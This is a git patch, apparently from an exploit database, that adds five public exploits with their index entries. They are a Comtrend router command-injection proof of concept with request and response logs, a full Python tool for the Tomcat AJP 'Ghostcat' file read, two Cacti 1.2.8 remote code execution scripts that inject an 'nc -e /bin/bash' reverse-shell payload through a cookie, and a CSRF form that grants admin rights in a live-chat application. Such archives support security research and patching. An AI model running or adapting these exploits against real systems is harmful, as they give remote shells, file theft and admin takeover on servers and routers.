From 02aee6c80e50b8b02fe36d31a0b2cd6df2642e4d Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Fri, 28 Feb 2020 05:01:52 +0000 Subject: [PATCH] DB: 2020-02-28 5 changes to exploits/shellcodes Business Live Chat Software 1.0 - Cross-Site Request Forgery (Add Admin) Comtrend VR-3033 - Command Injection Apache Tomcat - AJP 'Ghostcat File Read/Inclusion Cacti 1.2.8 - Authenticated Remote Code Execution Cacti 1.2.8 - Unauthenticated Remote Code Execution --- exploits/hardware/webapps/48142.txt | 179 +++++++++++++++++ exploits/multiple/webapps/48143.py | 302 ++++++++++++++++++++++++++++ exploits/multiple/webapps/48144.py | 99 +++++++++ exploits/multiple/webapps/48145.py | 40 ++++ exploits/php/webapps/48141.txt | 39 ++++ files_exploits.csv | 5 + 6 files changed, 664 insertions(+) create mode 100644 exploits/hardware/webapps/48142.txt create mode 100755 exploits/multiple/webapps/48143.py create mode 100755 exploits/multiple/webapps/48144.py create mode 100755 exploits/multiple/webapps/48145.py create mode 100644 exploits/php/webapps/48141.txt diff --git a/exploits/hardware/webapps/48142.txt b/exploits/hardware/webapps/48142.txt new file mode 100644 index 000000000..de2860e78 --- /dev/null +++ b/exploits/hardware/webapps/48142.txt @@ -0,0 +1,179 @@ +# Title: Comtrend VR-3033 - Authenticated Command Injection +# Date: 2020-02-26 +# Author: Author : Raki Ben Hamouda +# Vendor: https://us.comtrend.com +# Product link: https://us.comtrend.com/products/vr-3030/ +# CVE: N/A + +The Comtrend VR-3033 is prone to Multiple Authenticated Command Injection +vulnerability via ping and traceroute diagnostic page. +Remote attackers are able to get full control and compromise the network +managed by the router. + +Note : This bug may exist in other Comtrend routers . +=============================================== +Product Page : +https://us.comtrend.com/products/vr-3030/ + +Firmware version : +DE11-416SSG-C01_R02.A2pvI042j1.d26m + +Bootloader (CFE) Version : + 1.0.38-116.228-1 + +To reproduce the vulnerability attacker has to access the interface at +least with minimum privilege. + +1- Open interface +2- click on 'Diagnostic' tab on top. +3- click then on 'Ping' or traceroute +4- on the text input, type 'google.fr;ls - l' +5 - a list of folder names should appear. +############################# +POC session Logs : + +GET /ping.cgi?pingIpAddress=google.fr;ls&sessionKey=1039230114 HTTP/1.1 +Host: 192.168.0.1 +User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:73.0) +Gecko/20100101 Firefox/73.0 +Accept: +text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Authorization: Basic dXNlcjp1c2Vy +Connection: close +Referer: http://192.168.0.1/pingview.cmd +Upgrade-Insecure-Requests: 1 + + + +=====================++RESPONSE++===================== + +HTTP/1.1 200 Ok +Server: micro_httpd +Cache-Control: no-cache +Date: Fri, 02 Jan 1970 00:00:26 GMT +Content-Type: text/html +Connection: close + + + + + + + + + +
+
+Ping 
+
Send ICMP ECHO_REQUEST packets to network hosts.
+
+ + + +
Ping IP Address / Hostname:

+ + bin +
+ + + bootfs +
+ + + data +
+ + + debug +
+ + + dev +
+ + + etc +
+ + + lib +
+ + + linuxrc +
+ + + mnt +
+ + + opt +
+ + + proc +
+ + + sbin +
+ + + sys +
+ + + tmp +
+ + + usr +
+ + + var +
+ + + webs +
+ +
+
+ + + +##Same bug with the same way we exploited in ping function can be exploited +the same way in traceroute function. +=========== +##Timeline : +*Bug sent to vendor : 17-02-2020 +*No Response after 10 days +* Public disclosure: 27-02-020 \ No newline at end of file diff --git a/exploits/multiple/webapps/48143.py b/exploits/multiple/webapps/48143.py new file mode 100755 index 000000000..e6ee3483a --- /dev/null +++ b/exploits/multiple/webapps/48143.py @@ -0,0 +1,302 @@ +#!/usr/bin/env python +#CNVD-2020-10487 Tomcat-Ajp lfi +#by ydhcui +import struct + +# Some references: +# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html +def pack_string(s): + if s is None: + return struct.pack(">h", -1) + l = len(s) + return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0) +def unpack(stream, fmt): + size = struct.calcsize(fmt) + buf = stream.read(size) + return struct.unpack(fmt, buf) +def unpack_string(stream): + size, = unpack(stream, ">h") + if size == -1: # null string + return None + res, = unpack(stream, "%ds" % size) + stream.read(1) # \0 + return res +class NotFoundException(Exception): + pass +class AjpBodyRequest(object): + # server == web server, container == servlet + SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) + MAX_REQUEST_LENGTH = 8186 + def __init__(self, data_stream, data_len, data_direction=None): + self.data_stream = data_stream + self.data_len = data_len + self.data_direction = data_direction + def serialize(self): + data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH) + if len(data) == 0: + return struct.pack(">bbH", 0x12, 0x34, 0x00) + else: + res = struct.pack(">H", len(data)) + res += data + if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER: + header = struct.pack(">bbH", 0x12, 0x34, len(res)) + else: + header = struct.pack(">bbH", 0x41, 0x42, len(res)) + return header + res + def send_and_receive(self, socket, stream): + while True: + data = self.serialize() + socket.send(data) + r = AjpResponse.receive(stream) + while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS: + r = AjpResponse.receive(stream) + + if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4: + break +class AjpForwardRequest(object): + _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28) + REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE} + # server == web server, container == servlet + SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) + COMMON_HEADERS = ["SC_REQ_ACCEPT", + "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION", + "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2", + "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT" + ] + ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"] + def __init__(self, data_direction=None): + self.prefix_code = 0x02 + self.method = None + self.protocol = None + self.req_uri = None + self.remote_addr = None + self.remote_host = None + self.server_name = None + self.server_port = None + self.is_ssl = None + self.num_headers = None + self.request_headers = None + self.attributes = None + self.data_direction = data_direction + def pack_headers(self): + self.num_headers = len(self.request_headers) + res = "" + res = struct.pack(">h", self.num_headers) + for h_name in self.request_headers: + if h_name.startswith("SC_REQ"): + code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1 + res += struct.pack("BB", 0xA0, code) + else: + res += pack_string(h_name) + + res += pack_string(self.request_headers[h_name]) + return res + + def pack_attributes(self): + res = b"" + for attr in self.attributes: + a_name = attr['name'] + code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1 + res += struct.pack("b", code) + if a_name == "req_attribute": + aa_name, a_value = attr['value'] + res += pack_string(aa_name) + res += pack_string(a_value) + else: + res += pack_string(attr['value']) + res += struct.pack("B", 0xFF) + return res + def serialize(self): + res = "" + res = struct.pack("bb", self.prefix_code, self.method) + res += pack_string(self.protocol) + res += pack_string(self.req_uri) + res += pack_string(self.remote_addr) + res += pack_string(self.remote_host) + res += pack_string(self.server_name) + res += struct.pack(">h", self.server_port) + res += struct.pack("?", self.is_ssl) + res += self.pack_headers() + res += self.pack_attributes() + if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER: + header = struct.pack(">bbh", 0x12, 0x34, len(res)) + else: + header = struct.pack(">bbh", 0x41, 0x42, len(res)) + return header + res + def parse(self, raw_packet): + stream = StringIO(raw_packet) + self.magic1, self.magic2, data_len = unpack(stream, "bbH") + self.prefix_code, self.method = unpack(stream, "bb") + self.protocol = unpack_string(stream) + self.req_uri = unpack_string(stream) + self.remote_addr = unpack_string(stream) + self.remote_host = unpack_string(stream) + self.server_name = unpack_string(stream) + self.server_port = unpack(stream, ">h") + self.is_ssl = unpack(stream, "?") + self.num_headers, = unpack(stream, ">H") + self.request_headers = {} + for i in range(self.num_headers): + code, = unpack(stream, ">H") + if code > 0xA000: + h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001] + else: + h_name = unpack(stream, "%ds" % code) + stream.read(1) # \0 + h_value = unpack_string(stream) + self.request_headers[h_name] = h_value + def send_and_receive(self, socket, stream, save_cookies=False): + res = [] + i = socket.sendall(self.serialize()) + if self.method == AjpForwardRequest.POST: + return res + + r = AjpResponse.receive(stream) + assert r.prefix_code == AjpResponse.SEND_HEADERS + res.append(r) + if save_cookies and 'Set-Cookie' in r.response_headers: + self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie'] + + # read body chunks and end response packets + while True: + r = AjpResponse.receive(stream) + res.append(r) + if r.prefix_code == AjpResponse.END_RESPONSE: + break + elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK: + continue + else: + raise NotImplementedError + break + + return res + +class AjpResponse(object): + _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7) + COMMON_SEND_HEADERS = [ + "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified", + "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate" + ] + def parse(self, stream): + # read headers + self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb") + + if self.prefix_code == AjpResponse.SEND_HEADERS: + self.parse_send_headers(stream) + elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK: + self.parse_send_body_chunk(stream) + elif self.prefix_code == AjpResponse.END_RESPONSE: + self.parse_end_response(stream) + elif self.prefix_code == AjpResponse.GET_BODY_CHUNK: + self.parse_get_body_chunk(stream) + else: + raise NotImplementedError + + def parse_send_headers(self, stream): + self.http_status_code, = unpack(stream, ">H") + self.http_status_msg = unpack_string(stream) + self.num_headers, = unpack(stream, ">H") + self.response_headers = {} + for i in range(self.num_headers): + code, = unpack(stream, ">H") + if code <= 0xA000: # custom header + h_name, = unpack(stream, "%ds" % code) + stream.read(1) # \0 + h_value = unpack_string(stream) + else: + h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001] + h_value = unpack_string(stream) + self.response_headers[h_name] = h_value + + def parse_send_body_chunk(self, stream): + self.data_length, = unpack(stream, ">H") + self.data = stream.read(self.data_length+1) + + def parse_end_response(self, stream): + self.reuse, = unpack(stream, "b") + + def parse_get_body_chunk(self, stream): + rlen, = unpack(stream, ">H") + return rlen + + @staticmethod + def receive(stream): + r = AjpResponse() + r.parse(stream) + return r + +import socket + +def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET): + fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER) + fr.method = method + fr.protocol = "HTTP/1.1" + fr.req_uri = req_uri + fr.remote_addr = target_host + fr.remote_host = None + fr.server_name = target_host + fr.server_port = 80 + fr.request_headers = { + 'SC_REQ_ACCEPT': 'text/html', + 'SC_REQ_CONNECTION': 'keep-alive', + 'SC_REQ_CONTENT_LENGTH': '0', + 'SC_REQ_HOST': target_host, + 'SC_REQ_USER_AGENT': 'Mozilla', + 'Accept-Encoding': 'gzip, deflate, sdch', + 'Accept-Language': 'en-US,en;q=0.5', + 'Upgrade-Insecure-Requests': '1', + 'Cache-Control': 'max-age=0' + } + fr.is_ssl = False + fr.attributes = [] + return fr + +class Tomcat(object): + def __init__(self, target_host, target_port): + self.target_host = target_host + self.target_port = target_port + + self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self.socket.connect((target_host, target_port)) + self.stream = self.socket.makefile("rb", bufsize=0) + + def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]): + self.req_uri = req_uri + self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method)) + print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri)) + if user is not None and password is not None: + self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '') + for h in headers: + self.forward_request.request_headers[h] = headers[h] + for a in attributes: + self.forward_request.attributes.append(a) + responses = self.forward_request.send_and_receive(self.socket, self.stream) + if len(responses) == 0: + return None, None + snd_hdrs_res = responses[0] + data_res = responses[1:-1] + if len(data_res) == 0: + print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers) + return snd_hdrs_res, data_res + +''' +javax.servlet.include.request_uri +javax.servlet.include.path_info +javax.servlet.include.servlet_path +''' + +import argparse +parser = argparse.ArgumentParser() +parser.add_argument("target", type=str, help="Hostname or IP to attack") +parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)") +parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)") +args = parser.parse_args() +t = Tomcat(args.target, args.port) +_,data = t.perform_request('/asdf',attributes=[ + {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']}, + {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]}, + {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']}, + ]) +print('----------------------------') +print("".join([d.data for d in data])) \ No newline at end of file diff --git a/exploits/multiple/webapps/48144.py b/exploits/multiple/webapps/48144.py new file mode 100755 index 000000000..ace70ac94 --- /dev/null +++ b/exploits/multiple/webapps/48144.py @@ -0,0 +1,99 @@ +#!/usr/bin/python3 + +# Exploit Title: Cacti v1.2.8 Remote Code Execution +# Date: 03/02/2020 +# Exploit Author: Askar (@mohammadaskar2) +# CVE: CVE-2020-8813 +# Vendor Homepage: https://cacti.net/ +# Version: v1.2.8 +# Tested on: CentOS 7.3 / PHP 7.1.33 + +import requests +import sys +import warnings +from bs4 import BeautifulSoup +from urllib.parse import quote + +warnings.filterwarnings("ignore", category=UserWarning, module='bs4') + + +if len(sys.argv) != 6: + print("[~] Usage : ./Cacti-exploit.py url username password ip port") + exit() + +url = sys.argv[1] +username = sys.argv[2] +password = sys.argv[3] +ip = sys.argv[4] +port = sys.argv[5] + +def login(token): + login_info = { + "login_username": username, + "login_password": password, + "action": "login", + "__csrf_magic": token + } + login_request = request.post(url+"/index.php", login_info) + login_text = login_request.text + if "Invalid User Name/Password Please Retype" in login_text: + return False + else: + return True + +def enable_guest(token): + request_info = { + "id": "3", + "section25": "on", + "section7": "on", + "tab": "realms", + "save_component_realm_perms": 1, + "action": "save", + "__csrf_magic": token + } + enable_request = request.post(url+"/user_admin.php?header=false", request_info) + if enable_request: + return True + else: + return False + +def send_exploit(): + payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port) + cookies = {'Cacti': quote(payload)} + requests.get(url+"/graph_realtime.php?action=init", cookies=cookies) + +request = requests.session() +print("[+]Retrieving login CSRF token") +page = request.get(url+"/index.php") +html_content = page.text +soup = BeautifulSoup(html_content, "html5lib") +token = soup.findAll('input')[0].get("value") +if token: + print("[+]Token Found : %s" % token) + print("[+]Sending creds ..") + login_status = login(token) + if login_status: + print("[+]Successfully LoggedIn") + print("[+]Retrieving CSRF token ..") + page = request.get(url+"/user_admin.php?action=user_edit&id=3&tab=realms") + html_content = page.text + soup = BeautifulSoup(html_content, "html5lib") + token = soup.findAll('input')[1].get("value") + if token: + print("[+]Making some noise ..") + guest_realtime = enable_guest(token) + if guest_realtime: + print("[+]Sending malicous request, check your nc ;)") + send_exploit() + else: + print("[-]Error while activating the malicous account") + + else: + print("[-] Unable to retrieve CSRF token from admin page!") + exit() + + else: + print("[-]Cannot Login!") +else: + print("[-] Unable to retrieve CSRF token!") + exit() \ No newline at end of file diff --git a/exploits/multiple/webapps/48145.py b/exploits/multiple/webapps/48145.py new file mode 100755 index 000000000..fcdf13697 --- /dev/null +++ b/exploits/multiple/webapps/48145.py @@ -0,0 +1,40 @@ +#!/usr/bin/python3 + +# Exploit Title: Cacti v1.2.8 Unauthenticated Remote Code Execution +# Date: 03/02/2020 +# Exploit Author: Askar (@mohammadaskar2) +# CVE: CVE-2020-8813 +# Vendor Homepage: https://cacti.net/ +# Version: v1.2.8 +# Tested on: CentOS 7.3 / PHP 7.1.33 + +import requests +import sys +import warnings +from bs4 import BeautifulSoup +from urllib.parse import quote + +warnings.filterwarnings("ignore", category=UserWarning, module='bs4') + + +if len(sys.argv) != 4: + print("[~] Usage : ./Cacti-exploit.py url ip port") + exit() + +url = sys.argv[1] +ip = sys.argv[2] +port = sys.argv[3] + +def send_exploit(url): + payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port) + cookies = {'Cacti': quote(payload)} + path = url+"/graph_realtime.php?action=init" + req = requests.get(path) + if req.status_code == 200 and "poller_realtime.php" in req.text: + print("[+] File Found and Guest is enabled!") + print("[+] Sending malicous request, check your nc ;)") + requests.get(path, cookies=cookies) + else: + print("[+] Error while requesting the file!") + +send_exploit(url) \ No newline at end of file diff --git a/exploits/php/webapps/48141.txt b/exploits/php/webapps/48141.txt new file mode 100644 index 000000000..cf301b0a7 --- /dev/null +++ b/exploits/php/webapps/48141.txt @@ -0,0 +1,39 @@ +# Exploit Title: Business Live Chat Software 1.0 - Cross-Site Request Forgery (Add Admin) +# Description: Operator Can Change Role User Type to admin +# Date: 2020-02-26 +# Exploit Author: Meisam Monsef +# Vendor Homepage: https://www.bdtask.com/business-live-chat-software.php +# Version: V-1.0 +# Tested on: ubuntu + +Exploit : +1 - please login or create account +2 - open exploit.html in browser +3 - change you user id input for Change Role User Type to admin +4 - fill input data (fname - lname - email) +5 - click Update Button +6 - logout account +7 - login again you are admin & Enjoying + +
+user_id : + +
+fname : + +
+lname : + +
+email : + +
+user_type : + +
+status : + +
+ +
\ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index 7483e4409..66b7f25a0 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -42409,3 +42409,8 @@ id,file,description,date,author,type,platform,port 48134,exploits/php/webapps/48134.php,"WordPress Plugin WooCommerce CardGate Payment Gateway 3.1.15 - Payment Process Bypass",2020-02-25,GeekHack,webapps,php, 48135,exploits/php/webapps/48135.php,"Magento WooCommerce CardGate Payment Gateway 2.0.30 - Payment Process Bypass",2020-02-25,GeekHack,webapps,php, 48138,exploits/php/webapps/48138.txt,"PhpIX 2012 Professional - 'id' SQL Injection",2020-02-26,indoushka,webapps,php, +48141,exploits/php/webapps/48141.txt,"Business Live Chat Software 1.0 - Cross-Site Request Forgery (Add Admin)",2020-02-27,"Meisam Monsef",webapps,php, +48142,exploits/hardware/webapps/48142.txt,"Comtrend VR-3033 - Command Injection",2020-02-27,"Raki Ben Hamouda",webapps,hardware, +48143,exploits/multiple/webapps/48143.py,"Apache Tomcat - AJP 'Ghostcat File Read/Inclusion",2020-02-20,YDHCUI,webapps,multiple, +48144,exploits/multiple/webapps/48144.py,"Cacti 1.2.8 - Authenticated Remote Code Execution",2020-02-03,Askar,webapps,multiple, +48145,exploits/multiple/webapps/48145.py,"Cacti 1.2.8 - Unauthenticated Remote Code Execution",2020-02-03,Askar,webapps,multiple,